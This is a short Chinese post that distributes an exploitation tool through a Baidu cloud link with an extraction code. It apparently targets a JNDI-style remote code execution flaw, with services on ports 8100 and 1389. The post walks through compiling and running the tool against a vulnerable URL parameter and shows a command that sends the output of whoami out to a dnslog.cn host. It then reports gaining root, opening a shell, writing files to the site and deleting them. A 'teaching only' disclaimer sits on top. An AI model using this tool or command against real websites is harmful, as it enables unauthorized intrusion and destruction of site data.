声明：本程序仅教学使用，由于使用本程序攻击网站所造成的后果由读者本人承担
百度云链接：https://pan.baidu.com/s/1cB2ffoWiVti3Ve_ZM73-cA
提取码：nexu
仅测试Linux版本，Windows未测试，服务占用端口为8100和1389，个人推荐使用模式1(模式2仅支持POST请求)
测试环境：
java：版本
python版本
需要的python包
测试网站环境：Linux
使用方法：
1，运行 javac test1.java编译程序
2，java test1 运行程序
本程序有两种模式，这里先演示模式2
首先选择模式，然后输入启动服务的IP，等待服务启动，然后输入要执行的命令，这里运行 ping `whoami`.1ffa9h.dnslog.cn ,然后输入漏洞URL和漏洞参数，然后等待执行完成
执行完成，当前用户为root用户
弹个shell（这里有点奇怪，显示连接上了但没有交互窗口给我）
在网站下面添加a.txt文件
删除网站文件
3，演示模式1
模式1跟模式2差不多，不过会生成payload，把payload粘贴在怀疑有漏洞的参数，直接盲打就完了。
我这里网站的漏洞参数是c
执行结果
注：等攻击完成后再关闭程序